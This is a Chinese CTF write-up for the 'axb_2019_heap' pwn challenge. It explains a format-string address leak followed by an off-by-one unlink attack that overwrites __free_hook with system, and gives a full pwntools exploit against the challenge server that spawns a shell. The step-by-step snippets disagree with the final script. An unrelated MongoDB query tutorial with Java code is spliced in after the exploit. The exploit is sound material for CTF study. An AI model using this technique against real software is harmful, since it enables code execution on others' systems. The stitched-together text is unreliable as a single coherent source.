axb_2019_heap【write up】

文章描述了一个64位程序的安全漏洞利用过程,涉及格式化字符串漏洞来泄露main函数和__libc_start_main的地址,从而获取libc基址。通过堆操作,尤其是unlink和off-by-one漏洞,修改内存布局,最终实现执行system函数,获取shell。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

axb_2019_heap

unlink和格式化字符串漏洞

惯例我们先来checksec一下

保护全开的64位程序

请添加图片描述

放进ida64里

看一下main函数非常标准的菜单堆题

请添加图片描述

有趣的是在一开始的banner函数中存在格式化字符串漏洞

通过观察栈上数据我们可以利用该函数泄露出main函数地址(即绕过PIE保护)并泄露libc

请添加图片描述

add_note函数

请添加图片描述

更正图片中的错误size和chunk addr并不会重合

delete_note函数

非常标准的释放流程 不存在uaf漏洞

请添加图片描述

edit_note函数

内部有个自定义函数get_input

请添加图片描述

get_input函数(漏洞点)

请添加图片描述

审题完成 开始解题

首先我们通过格式化字符串漏洞来计算偏移 得到偏移为7

请添加图片描述

然后我们利用gdb调试可以发现main函数的地址在偏移为19的地方 __libc_start_main+243在偏移为15的地方

于是我们可以通过泄露这两个地址来获得libc的地址并绕过PIE保护

请添加图片描述

io.recvuntil('name: ')
payload=b"%15$p%19$p"
io.sendline(payload)
io.recvuntil('0x')
libc_base=int(io.recv(12),16)-libc.sym['__libc_start_main'] - 240
io.recvuntil('0x')
base=int(io.recv(12),16)-0x116A

然后我我们就可以通过计算得到note数组的地址和system函数的地址

接下来就是堆上的unlink操作了

由于我们观察edit函数发现存在off by one漏洞因此我们考虑使用unlink来达成我们的攻击目标

首先我们先来创建chunk

add(0,0x98,b'aaaa')
add(0,0x98,b'bbbb')
add(0,0x98,b'cccc')
add(0,0x98,b'/bin/sh')

然后我们通过edit函数来修改chunk0中的内容创建一个fd和bk指针指向note数组的fakechunk 并利用off by one漏洞 将chunk1中的size改为0xa0

将chunk1中的size修改为0xa0就会导致chunk1在free的时候认为前面已经是freechunk 进而触发堆合并unlink

payload=p64(0)+p64(0x91)+p64(bss-0x18)+p64(bss-0x10)+p64(0)*14+p64(0x90)+b'\xa0'
edit(0,payload)

然后我们将chunk1 free掉这样我们的chunk0实际上就已经跳转到了note数组上即此时我们note数组上原本存放chunk0地址的位置被篡改成了note的地址 这时我们编辑chunk0上的内容实际上就是在编辑note数组上的内容 我们将存放chunk0地址上的内容篡改为free_hook的地址

delete(1)
edit(0,p64(0)*3+p64(free_hook)+p64(0x10))

接下来我们修改chunk0上的内容实际上就是在修改free_hook上的内容 这样我们执行free函数实际上就是在执行system函数 接下来我们delete(3) 即可执行system(”/bin/sh“)

edit(0,p64(system))

然后只要io.interactive()就可以获取控制权啦
在这里插入图片描述

exp:

from pwn import *
#from LibcSearcher import *
context.log_level='debug'
#io=process('')
io=remote('node4.buuoj.cn',26148)
elf=ELF('./axb_2019_heap')
libc=ELF('./libc-2.23.so')
io.recvuntil('name: ')
payload=b"%15$p%19$p"
io.sendline(payload)
io.recvuntil('0x')
libc_base=int(io.recv(12),16)-libc.sym['__libc_start_main'] - 240
io.recvuntil('0x')
base=int(io.recv(12),16)-0x116A
system=libc.sym['system']+libc_base

free_hook=libc_base+libc.sym['__free_hook']

bss=base+0x202060
print(hex(base))
print(hex(libc_base))

#fmstr attack finish

def add(idx,size,content):
	io.sendlineafter(">> ",b"1")
	io.sendlineafter("(0-10):",str(idx))
	io.sendlineafter("size:",str(size))
	io.sendlineafter("content:",content)
	
def delete(idx):
	io.sendlineafter(">> ",b"2")
	io.sendlineafter("index:",str(idx))
	
def edit(idx,content):
	io.sendlineafter(">> ",b"4")
	io.sendlineafter("index:",str(idx))
	io.sendlineafter("content: \n",content)
	
add(0,0x98,b'aaaa')
add(1,0x98,b'bbbb')
add(2,0x90,b'cccc')
add(3,0x90,b'/bin/sh')

payload=p64(0)+p64(0x91)+p64(bss-0x18)+p64(bss-0x10)+p64(0)*14+p64(0x90)+b'\xa0'
edit(0,payload)
delete(1)
edit(0,p64(0)*3+p64(free_hook)+p64(0x10))
edit(0,p64(system))
delete(3)
io.interactive()
### 将JSON结构转换为MongoDB查询语句 要将给定的JSON结构转换为MongoDB查询语句,可以按照以下方式构建查询: #### 查询语句 假设集合名称为 `AXB_MTWM_CALL_FINISH_RECORD_INFO`,查询条件如下所示: ```javascript { "result": "0", "baselineTime": { "$gte": ISODate("2025-01-28T00:00:00Z"), "$lt": ISODate("2025-01-29T00:00:00Z") } } ``` 完整的MongoDB查询语句可以通过 `db.collection.find()` 方法实现: ```javascript db.AXB_MTWM_CALL_FINISH_RECORD_INFO.find({ "result": "0", "baselineTime": { "$gte": ISODate("2025-01-28T00:00:00Z"), "$lt": ISODate("2025-01-29T00:00:00Z") } }); ``` 此查询表示筛选出集合 `AXB_MTWM_CALL_FINISH_RECORD_INFO` 中满足以下两个条件的文档: 1. 字段 `result` 的值等于 `"0"`[^1]。 2. 字段 `baselineTime` 的值大于或等于 `ISODate("2025-01-28T00:00:00Z")` 并小于 `ISODate("2025-01-29T00:00:00Z")`[^2]。 如果需要进一步优化性能,可以在 `result` 和 `baselineTime` 上创建复合索引来加速查询操作。例如: ```javascript db.AXB_MTWM_CALL_FINISH_RECORD_INFO.createIndex({ result: 1, baselineTime: 1 }); ``` 这一步骤有助于提高查询效率,尤其是在处理大规模数据集时[^3]。 #### Java 实现示例 以下是基于 Java 驱动程序执行上述查询的一个示例代码片段: ```java import com.mongodb.client.MongoClients; import com.mongodb.client.MongoCollection; import com.mongodb.client.MongoDatabase; import org.bson.Document; public class MongoDBQueryExample { public static void main(String[] args) { try (var mongoClient = MongoClients.create("mongodb://localhost:27017")) { var database = mongoClient.getDatabase("your_database_name"); var collection = database.getCollection("AXB_MTWM_CALL_FINISH_RECORD_INFO"); Document query = new Document("result", "0") .append("baselineTime", new Document("$gte", java.time.Instant.parse("2025-01-28T00:00:00Z")) .append("$lt", java.time.Instant.parse("2025-01-29T00:00:00Z"))); collection.find(query).forEach(doc -> System.out.println(doc.toJson())); } } } ``` 这段代码展示了如何通过 Java API 构建并运行指定的查询逻辑[^4]。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值